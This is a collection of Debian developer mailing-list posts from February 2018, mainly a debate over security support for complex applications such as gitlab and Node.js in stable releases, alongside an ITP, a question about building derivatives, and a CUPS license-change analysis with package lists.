On Mon, Feb 19, 2018 at 09:18:13AM +0100, Philipp Kern wrote: > On 2018-02-18 22:53, Adrian Bunk wrote: > > In the year 2018, any kind of "properly maintain" includes security > > support. > > > > Please elaborate how Debian can provide security support for packages > > like gitlab and all their dependencies in buster until mid-2022. > > > > If Debian cannot provide security support for the lifetime of a stable > > Debian release, it is better for our users when they are installing the > > software from upstream with the security support provided by upstream. > > Putting security support over all else is surely how some people see it. But > some upstreams also complain if you are going to ship ancient versions > because the most recent ones contain all of the fixes. It's certainly more > work to validate security fixes when backporting them to older versions. So > it's also the "stable" guarantee (whatever it is seen as) that might need > some re-adjustment. Every change that gets published as DSA or part of a stable update gets automatically installed on millions of machines. > One of the values is that you get some set of software that works together > as a base and doesn't change, but then people install software on top of it > that provides their service and if it's actually the thing they want to > provide it's most likely not packaged anymore at this point. Because you'd > want the latest features of the product you're using. Sometimes that is true and sometimes it is not. And what are the latest features today will likely be included in the version in the next Debian stable. The main question is what Debian can offer throughout the distribution. Installing some or few (open source or proprietary) products on top of the distribution is often required for various reasons. If Debian ships an older version of one of these products that is not a problem. What is a problem is if such a 3rd party product suddenly breaks due to an update in the stable distribution, or becomes vulnerable due to unfixed CVEs in the stable distribution. > So there's already a > disconnect of essentially two tracks: the system's base at a solid version > and whatever it is you want to offer at a fast moving pace. That's also a > reality in 2018. And coming up with arbitrary deadlines of support are not > all that helpful. Users don't care if the ancient version of the software > they need in stable is security supported until mid-2022. If it doesn't > satisfy their requirements anymore, they move to testing or to another > distribution. Let's make a real-life example: salsa.debian.org and gitlab. salsa currently runs a manually installed gitlab. At some point after the release of buster salsa is expected to be upgraded to buster. If buster ships a gitlab package with no security support from Debian, would you recommend that Debian uses this package on salsa until bullseye gets released? If buster ships a gitlab package that is supported by Debian by every once in a while upgrading to the latest upstream gitlab, would you recommend that Debian uses this package on salsa instead of continuing to use a manually installed gitlab? Even if gitlab would have been part of stretch it is clear that salsa wouldn't use the version in stretch. The "ancient version of the software" in buster will likely be recent enough for salsa, but for such a central and exposed service security support and no regressions are also important. > Kind regards > Philipp Kern cu Adrian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed
Bug#890839: ITP: golang-github-showmax-go-fqdn -- Simple wrapper around net and os golang standard libraries providing Fully Qualified Domain Name of the machine.
Package: wnpp Severity: wishlist Owner: Sascha Steinbiss * Package name: golang-github-showmax-go-fqdn Version : 0.0~git20160909.2501cdd-1 Upstream Author : Showmax s.r.o. * URL : https://github.com/ShowMax/go-fqdn * License : Apache-2.0 Programming Lang: Go Description : Golang library to provide local machine FQDN The go-fqdn library is a simple wrapper around the 'net' and 'os' Golang standard libraries to provide the Fully Qualified Domain Name (FQDN) of the local machine.
Re: What can Debian do to provide complex applications to its users?
> > Let's agree to disagree. I find it perfectly fine if we told people > > up > > front that we support it as long as upstream has a version that > > works > > with the stable base. They are still better or at least not worse > > of > > with that than with a self-installed one. > > Why? With the self-installed one they know up front that they need > to > set up some kind of infrastructure to maintain it and can make an > informed decision about whether they want to take that on. How is it > better to think you have a debian supported install but in fact have > to > come up with the very infrastructure you avoided on an emergency > basis > at some point in the future? I don't understand how this connects to what I, and others, were saying. Nobody ever suggested to leave users in the dark, we talked about documenting very clearly what they get and what they don't. Besides my personal experience is that most people do not set up the infrastructure you mentioned so they get caught unaware no matter what. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
> What is the user supposed to do when Debian announces that some > software essential for that user is no longer supported in the > stable release the user is using? Again, where does this differ from the user realizing their own self- baked installation cannot be upgraded anymore? > At that point the options for the user are either to continue using > software that might already have known grave vulnerabilities, or to > do a rushed attempt trying to find some way to self-install an > upstream > version that is still supported. And why wouldn't we offer said upstream version instead of the unsupported older one? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
> The software might integrate properly into Debian - and allow > everyone > on the internet to take control of your computer. Which is of course independent of the way you install the software. > An example what "no security support" means in practice: I don't think anyone suggest "no security", but something like "security by upstream releases". Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
❦ 19 février 2018 20:36 +0200, Adrian Bunk : >> Debian is not only about security support. We provide packages without >> security support. We also have backports that come without security >> support either. This is still better than installing random packages >> made by random people which may or may not integrate properly into >> Debian. > > The software might integrate properly into Debian - and allow everyone > on the internet to take control of your computer. > > On the server side we are talking about software like Node.js or gitlab. > > On the desktop side the MUA that comes with our default desktop renders > HTML emails using a web engine that is not security supported by Debian. > > An example what "no security support" means in practice: > > If you are running Debian stable and haven't yet installed the > LibreOffice security updates Debian published a few days ago, > then opening a document is sufficient to make LibreOffice silently > send your gpg and ssh private keys to whatever server the author > of that document wants - no dialog, no warnings, you won't notice. > > If Debian would provide LibreOffice without security support, > how many of our users would have been aware of this problem? I don't know what's your point. You acknowledge we already ship not security supported software. We could put a large dialog box when installing/upgrading LibreOffice, like for other not security supported software. Or we could put those software in a special repository (called "unsupported"), a bit like backports that are not security supported either. Ubuntu does that since many years (everything in universe/multiverse is unsupported) and nobody cares. -- Use variable names that mean something. - The Elements of Programming Style (Kernighan & Plauger) signature.asc Description: PGP signature
Re: What can Debian do to provide complex applications to its users?
On Mon, Feb 19, 2018 at 08:35:29PM +0100, Michael Meskes wrote: > > What is the user supposed to do when Debian announces that some > > software essential for that user is no longer supported in the > > stable release the user is using? > > Again, where does this differ from the user realizing their own self- > baked installation cannot be upgraded anymore? Upstream often has ways and schedules for their software that just happen to differ from how and when Debian does things. "self-baked" might just be the normal upstream way of installing the software. In the best case uptream provides a container containing everything the software needs. > > At that point the options for the user are either to continue using > > software that might already have known grave vulnerabilities, or to > > do a rushed attempt trying to find some way to self-install an > > upstream > > version that is still supported. > > And why wouldn't we offer said upstream version instead of the > unsupported older one? In some cases this might require changing literally thousands of packages in stable. Imagine said upstream version requires the latest Node.js. Various other packages in stable won't work with the latest Node.js and will also require upgrading. In the Node.js ecosystem it is par for the course when upgrading a package breaks countless reverse dependencies. And all this automatically deployed via unattended-upgrades to millions of machines running Debian stable. > Michael cu Adrian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed
Re: What can Debian do to provide complex applications to its users?
On Mon, Feb 19, 2018 at 08:40:12PM +0100, Michael Meskes wrote: >... > > An example what "no security support" means in practice: > > I don't think anyone suggest "no security", but something like > "security by upstream releases". How can you guarantee that to our users for buster until mid-2022? This only works when upstream provides an LTS branch covering the lifetime of the Debian release. Debian already does "security by upstream releases" for Firefox, and this clearly shows why this is problematic: - Firefox is very picky about the versions of two compilers (gcc and rust) being used. That's why wheezy contains a more recent gcc for Firefox, and that's why soon there will have to be a bootstrap of a more recent rust in stretch. - Firefox upstream decided to break all extensions, including the ones packaged in stable, in the next ESR. Except for extensions Firefox is a leaf package, imagining "security by upstream releases" for some core part of the system like OpenSSL sounds hilarious. Node.js is the core of an ecosystem with > 1k packages in Debian. gitlab is not the core of an ecosystem, but it uses both uses Node.js and Rails. How can you guarantee to provide "security by upstream releases" for gitlab until mid-2022 if a new gitlab might require more recent versions of many dependencies? > Michael cu Adrian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed
Re: What can Debian do to provide complex applications to its users?
On Mon, Feb 19, 2018 at 08:44:58PM +0100, Vincent Bernat wrote: >... > Or we could put those software in a special repository (called "unsupported") >... What about calling it "nsa-enablement"? Cause that's what it is. But to be fair, no longer installing packages without security support in the default install would already be an improvement compared to stretch... cu Adrian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed
Re: What can Debian do to provide complex applications to its users?
> > And why wouldn't we offer said upstream version instead of the > > unsupported older one? > > In some cases this might require changing literally thousands of > packages in stable. > > Imagine said upstream version requires the latest Node.js. > > Various other packages in stable won't work with the latest Node.js > and will also require upgrading. > > In the Node.js ecosystem it is par for the course when upgrading > a package breaks countless reverse dependencies. Right, and that's why we were talking about stuff like flatpak that bring the application with its dependencies, more or less like a container. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
On Mon, Feb 19, 2018 at 10:16:56PM +0200, Adrian Bunk wrote: > On Mon, Feb 19, 2018 at 08:40:12PM +0100, Michael Meskes wrote: > >... > > > An example what "no security support" means in practice: > > > > I don't think anyone suggest "no security", but something like > > "security by upstream releases". > > How can you guarantee that to our users for buster until mid-2022? > > This only works when upstream provides an LTS branch covering the > lifetime of the Debian release. > > Debian already does "security by upstream releases" for Firefox, > and this clearly shows why this is problematic: Also PostgreSQL, formerly MySQL, OpenJDK, etc. Some go smoothly (I think PostgreSQL upstream is very good here), and some do not. Regards, -Roberto -- Roberto C. Sánchez
Re: What can Debian do to provide complex applications to its users?
On Mon, Feb 19, 2018 at 09:42:28PM +0100, Michael Meskes wrote: > > Right, and that's why we were talking about stuff like flatpak that > bring the application with its dependencies, more or less like a > container. > Which happens to bring with an entirely different set of problems. That said, the problems are not really any different than the problems introduced by installing components with cpan or pip and then forgetting about them. Regards, -Roberto -- Roberto C. Sánchez
Re: What can Debian do to provide complex applications to its users?
On Mon, Feb 19, 2018 at 09:42:28PM +0100, Michael Meskes wrote: > > > And why wouldn't we offer said upstream version instead of the > > > unsupported older one? > > > > In some cases this might require changing literally thousands of > > packages in stable. > > > > Imagine said upstream version requires the latest Node.js. > > > > Various other packages in stable won't work with the latest Node.js > > and will also require upgrading. > > > > In the Node.js ecosystem it is par for the course when upgrading > > a package breaks countless reverse dependencies. > > Right, and that's why we were talking about stuff like flatpak that > bring the application with its dependencies, more or less like a > container. That's a better solution for such cases than shipping the software in Debian. And it's distribution-agnostic, meaning it can be provided once by upstream for all distributions instead of duplicating work in every Linux distribution. > Michael cu Adrian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed
Re: What can Debian do to provide complex applications to its users?
On Mon, Feb 19, 2018 at 03:52:30PM -0500, Roberto C. Sánchez wrote: > On Mon, Feb 19, 2018 at 10:16:56PM +0200, Adrian Bunk wrote: > > On Mon, Feb 19, 2018 at 08:40:12PM +0100, Michael Meskes wrote: > > >... > > > > An example what "no security support" means in practice: > > > > > > I don't think anyone suggest "no security", but something like > > > "security by upstream releases". > > > > How can you guarantee that to our users for buster until mid-2022? > > > > This only works when upstream provides an LTS branch covering the > > lifetime of the Debian release. > > > > Debian already does "security by upstream releases" for Firefox, > > and this clearly shows why this is problematic: > > Also PostgreSQL, formerly MySQL, OpenJDK, etc. Some go smoothly (I think > PostgreSQL upstream is very good here), and some do not. These (and also the kernel) are "following an upstream LTS branch", not "security by upstream releases". Also for Firefox the new releases on an upstrem LTS branch (currently 52) are usually not a problem. The problem with Firefox is the once per year switch to a new LTS branch, like this year Firefox 52 -> 59. We aren't doing that for PostgreSQL. > Regards, > > -Roberto cu Adrian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed
Re: What can Debian do to provide complex applications to its users?
On 2018-02-19 at 16:03, Adrian Bunk wrote: > On Mon, Feb 19, 2018 at 03:52:30PM -0500, Roberto C. Sánchez wrote: > >> On Mon, Feb 19, 2018 at 10:16:56PM +0200, Adrian Bunk wrote: >>> Debian already does "security by upstream releases" for Firefox, >>> and this clearly shows why this is problematic: >> >> Also PostgreSQL, formerly MySQL, OpenJDK, etc. Some go smoothly (I >> think PostgreSQL upstream is very good here), and some do not. > > These (and also the kernel) are "following an upstream LTS branch", > not "security by upstream releases". > > Also for Firefox the new releases on an upstrem LTS branch (currently > 52) are usually not a problem. > > The problem with Firefox is the once per year switch to a new LTS > branch, like this year Firefox 52 -> 59. We aren't doing that for > PostgreSQL. Nit: the new Firefox ESR this year will apparently be version 60, not 59. They've postponed it by one release this time around, for reasons I haven't bothered to retain. -- The Wanderer The reasonable man adapts himself to the world; the unreasonable one persists in trying to adapt the world to himself. Therefore all progress depends on the unreasonable man. -- George Bernard Shaw signature.asc Description: OpenPGP digital signature
Re: What can Debian do to provide complex applications to its users?
On Mon, Feb 19, 2018 at 08:44:58PM +0100, Vincent Bernat wrote: > a bit like backports that are not security supported > either. this is now the 2nd mail within 24h were you claim this *wrongly*. backports are (supposed to be) getting security support. if you dont do this for your backports, you shouldnt have upload rights. -- cheers, Holger signature.asc Description: PGP signature
Re: What can Debian do to provide complex applications to its users?
❦ 19 février 2018 22:33 GMT, Holger Levsen : >> a bit like backports that are not security supported >> either. > > this is now the 2nd mail within 24h were you claim this *wrongly*. > > backports are (supposed to be) getting security support. if you dont do > this for your backports, you shouldnt have upload rights. From https://backports.debian.org/FAQ/: Q: Is there security support for packages from backports.debian.org? A: Unfortunately not. This is done on a best effort basis by the people who track the package, usually the ones who originally did upload the package into backports. When security related bugs are fixed in Debian unstable the backporter is permitted to upload the package from directly there instead of having to wait until the fix hits testing. You can see the open issues for jessie-backports in the security tracker (though there may be false positives too, the version compare isn't perfect yet) -- Many a writer seems to think he is never profound except when he can't understand his own meaning. -- George D. Prentice signature.asc Description: PGP signature
Re: What can Debian do to provide complex applications to its users?
On Tue, 20 Feb. 2018, 09:44 Vincent Bernat, wrote: > ❦ 19 février 2018 22:33 GMT, Holger Levsen : > > >> a bit like backports that are not security supported > >> either. > > > > this is now the 2nd mail within 24h were you claim this *wrongly*. > > > > backports are (supposed to be) getting security support. if you dont do > > this for your backports, you shouldnt have upload rights. > > From https://backports.debian.org/FAQ/: > > Q: Is there security support for packages from backports.debian.org? > > A: Unfortunately not. This is done on a best effort basis by the people > who track the package This looks like a language confusion. There is no security *team* support but there is security *package updates* by the individual maintainers. The individual contribution sounds optional here in the FAQ but from my experience with backports it's strongly encouraged. - Craig > > -- Craig Small https://dropbear.xyz/ csmall at : dropbear.xyz Debian GNU/Linuxhttps://www.debian.org/ csmall at : debian.org Mastodon: @smalls...@social.dropbear.xyz Twitter: @smallsees GPG fingerprint: 5D2F B320 B825 D939 04D2 0519 3938 F96B DF50 FEA5
Re: What can Debian do to provide complex applications to its users?
Michael Meskes writes: [...] > Maybe you answered your question yourself. How about we tie our > security support to upstream's? Instead of fixing and backporting > ourselves we promise our users that this section of the archive will > get upstream's latest fixes even if that means the version number > changes. > > This way the users would get a lot of benefits from using Debian but no > drawback compared to the self-installed alternative. Hello, as a sysadmin and Ubuntu derivatives[1] at work, I remembered having the nice surprise of some incompatible changes in MySQL some time ago. Backporting the fix was not possible/too complex so new upstream patch level was integrated, modifying something around comments handling in .sql files IIRC. Finding the erratic problem, fixing it and distributing it was quite “intensive”. We monitor the -proposed repository but the change passed unseen by our jenkins. So please, before considering following upstream, consider what a sysadmin needs to do to upgrade/test/deploy the configuration. I'm dreaming the day every configuration file will be managed by Config::Model but even this is not bullet proof ;-) my 2¢. Footnotes: [1] around 25k servers deployed -- Daniel Dehennin Récupérer ma clef GPG: gpg --recv-keys 0xCC1E9E5B7A6FE2DF Fingerprint: 3E69 014E 5C23 50E8 9ED6 2AAD CC1E 9E5B 7A6F E2DF signature.asc Description: PGP signature
Re: What can Debian do to provide complex applications to its users?
❦ 19 février 2018 22:59 GMT, Craig Small : >> >> a bit like backports that are not security supported >> >> either. >> > >> > this is now the 2nd mail within 24h were you claim this *wrongly*. >> > >> > backports are (supposed to be) getting security support. if you dont do >> > this for your backports, you shouldnt have upload rights. >> >> From https://backports.debian.org/FAQ/: >> >> Q: Is there security support for packages from backports.debian.org? >> >> A: Unfortunately not. This is done on a best effort basis by the people >> who track the package > > > This looks like a language confusion. There is no security *team* support > but there is security *package updates* by the individual maintainers. I don't see where is the confusion. There is no security support. It's written verbatim. This doesn't mean there is no security update, but these updates are pushed on a best effort basis. Moreover, backports do not accept security patches. You can only push a version in testing (or unstable). Notably, if the version in testing is not easily backportable (because of new dependencies), you may wait quite some time before you get a security update. -- How apt the poor are to be proud. -- William Shakespeare, "Twelfth-Night" signature.asc Description: PGP signature
Re: A few questions about building Debian-Based Distro
On 19/02/2018 19:25, Project Echo wrote: > Hey Debian Developers! Hi! This list is for the development of Debian, please rather use a more appropriate list, like debian-derivatives for questions regarding derivatives, custom spins, pure blends, etc. > I have a few questions about making a Debian-Based Distro > > 1.Do you make a ISO of Debian without anything installed?, Just the base > Operating System, I need this as I want to make my Debian-Based Distro > > 2.While Rebranding Debian, What are the files I have to re brand?. Also > will I fall under any issues if I distribute it for free? (Of course I > will be crediting Debian and it's creators) > > 3.If I did rebrand Debian, Will the Operating system have errors > installing .Deb files? https://wiki.debian.org/Derivatives/Guidelines may be of help, as would the other pages on https://wiki.debian.org/Derivatives Good luck! -Jonathan -- ⢀⣴⠾⠻⢶⣦⠀ Jonathan Carter (highvoltage) ⣾⠁⢠⠒⠀⣿⡁ Debian Developer - https://wiki.debian.org/highvoltage ⢿⡄⠘⠷⠚⠋ https://debian.org | https://jonathancarter.org ⠈⠳⣄ Be Bold. Be brave. Debian has got your back.
Re: A few questions about building Debian-Based Distro
On 20/02/2018 08:05, Jonathan Carter (highvoltage) wrote: > https://wiki.debian.org/Derivatives/Guidelines may be of help, as would > the other pages on https://wiki.debian.org/Derivatives PS: As Pabs pointed out to me on IRC, the debian-blends list might be more appropriate for blends (more about that on https://wiki.debian.org/DebianPureBlends) -Jonathan
Re: What can Debian do to provide complex applications to its users?
Vincent Bernat writes: > Moreover, backports do not accept security patches. You can only push a > version in testing (or unstable). Notably, if the version in testing is > not easily backportable (because of new dependencies), you may wait > quite some time before you get a security update. Also not true. You can request an exception to this for your security update, but you do need to communicate about this with the backports team before uploading. -- Arto Jantunen
Re: CUPS GPL → Apache license change, how to proceed?
Didier 'OdyX' Raboud wrote: > - What tools should I be using to identify which of these will be > undistributable constructs? Aka: how, given a list of source packages, > can I determine which are GPL-2-only in the codepaths that link against > CUPS? > [CUPS-links-to] CUPS dynamically links against > (excluding 'system libraries' such as libc, libgcc, libstdc++) > - cups → libusb-1.0-0 (LGPL-2.1) > - libcups2 → libavahi-client3 & libavahi-common3 (GPL-2+) > - libcups2 → libc6 (GPL-2+) > - libcups2 → libgnutls30 (LGPL-2.1+) > - libcups2 → libgssapi-krb5-2 (MIT) > - libcups2 → zlib1g (Zlib) Having looked at python-debian's debian.copyright.Copyright module just the other day, I thought there might be something that could be done here. With 77% of the packages in the rdeps list that have a readable copyright- format/1.0 (or an older format), we can make reasonable progress. * we can say that 3746 (70%) of the packages in the build-rdeps list have no *direct* problem because they are not GPLv2-only. (That is to ignore that they might depend on packages that are themselves in trouble with this licence change) * there are 379 packages that are GPLv2-only; that doesn't mean that they definitely load both GPLv2-only code and libcups* into the same executable, but they need checking. (gplv2-only.txt attached) * 1220 packages haven't been checked; most aren't in copyright-format/1.0 but a few generate parse errors or have sufficiently complicated licence terms that this tool can't figure it out. (unknown.txt attached) These good(ish) looking numbers at least cut down the scope of the checking that is required by 70%. There's still 1600ish packages that need to be looked at in some way. I'm not sure what the next steps would be. Perhaps walking the dependency tree looking at these 1600 packages is what should happen next. We would likely find places where the tree can be pruned because there is no linking involved, merely use of a tool at build time. I'm sure we've got graph walking code in the archive somewhere that might help… For those in need of amusement, code at https://salsa.debian.org/stuart/package-license-checker and all relevant copyright files (current as of unstable today) from the packages analysed at https://people.debian.org/~stuart/copyright.tar.xz Happy for suggestions, merge requests etc! cheers Stuart -- Stuart Prescotthttp://www.nanonanonano.net/ stu...@nanonanonano.net Debian Developer http://www.debian.org/ stu...@debian.org GPG fingerprint90E2 D2C1 AD14 6A1B 7EBB 891D BBC1 7EBB 1396 F2F7389-admin-console 389-ds-console 4pane abiword aeskulap airport-utils akonadi akonadi-contacts akonadiconsole alsa-tools alt-ergo android-framework-23 android-platform-libcore apophenia ask asterisk asunder audacity baloo bibtex2html bindex blender blktrace blogilo calf calibre calligra cdbs ceph cl-asdf comedilib cpl cups-filters daisy-player dar denemo dia diffoscope djvusmooth doc-linux-fr dogtag-pki dolphin-emu doxygen dozzaqueux dpdk dpmb dpuser drupal7 dtd-parser dune-common dune-geometry dune-grid dune-istl dune-localfunctions edb-debugger edfbrowser eiskaltdcpp espresso evas-loaders exactimage fbpanel felix-framework felix-main felix-osgi-obr ferret-vis fio foomatic-db foxtrotgps frama-c free42-nologo freefem++ freemat frei0r gajim gamera gazebo geany-plugins geg geneweb getdp gfarm gigedit git-cola gkrellm-gkrellmpc gkrellm2-cpufreq gkrelluim gmanedit gmidimonitor gmrun gmsh gmtp gnome-colors gnuais goobox goocanvas-2.0 goocanvasmm-2.0 gpicview gpsprune gpsshogi gpt grace grantlee5 grass groovy gspiceui gtk-sharp3 gtk2-engines-xfce gxmms2 hardinfo haskell-yi-frontend-pango heaptrack hedgewars hhvm highlight.js iio-sensor-proxy ikiwiki imview ini4j instead invesalius isomaster istack-commons jack-mixer jalview java-imaging-utilities java3d javamail jaxb jaxb-api jaxrs-api jd jenkins-htmlunit-core-js jericho-html jersey1 jmol josm jsjac jtharness jtreg juffed kaccounts-integration kajongg kalarm kamailio kcachegrind kdbg kde-dev-scripts kdeconnect kdelibs4support kdepim-addons kdepim-runtime kdepimlibs kdocker keepassx kf5-messagelib kio kio-extras kjots kleopatra kmail kmailtransport kmenuedit kodi korganizer kpimtextedit krita ksirk kstars ksyntax-highlighting ksysguard ktexteditor kturtle ladish lammps latex2html latexdiff ldm ldm-themes libaopalliance-java libemf libexif-gtk libgaminggear libhtmlcleaner-java libitext1-java libj2ssh-java libjgroups-java libjpfcodegen-java libjsr166y-java libjtds-java libkf5calendarsupport libkf5eventviews libkf5grantleetheme libkf5gravatar libkf5incidenceeditor libkf5ksieve libkf5libkdepim libkf5libkleo libkf5mailcommon libkf5mailimporter libkf5pimcommon libnb-javaparser-java libodb-qt libpulse-java librecad libreoffice libsimple-validation-java libswarmcache-java libzypp light-locker lightdm lightdm-gtk-greeter linux-minidisc londonlaw ltsp-docs luckybackup marionnet mate-control-center maven maven-antrun-
Re: What can Debian do to provide complex applications to its users?
❦ 20 février 2018 09:05 +0200, Arto Jantunen : >> Moreover, backports do not accept security patches. You can only push a >> version in testing (or unstable). Notably, if the version in testing is >> not easily backportable (because of new dependencies), you may wait >> quite some time before you get a security update. > > Also not true. You can request an exception to this for your security > update, but you do need to communicate about this with the backports > team before uploading. Also? What was not true? The Debian Backports FAQ? The exception you mention is not documented. It is also likely to just be rejected: http://lists.alioth.debian.org/pipermail/pkg-roundcube-maintainers/2017-November/002070.html And the backport team has been pretty clear this is not the right way to maintain backports: https://lists.debian.org/debian-backports/2017/05/msg00059.html -- Choose a data representation that makes the program simple. - The Elements of Programming Style (Kernighan & Plauger) signature.asc Description: PGP signature
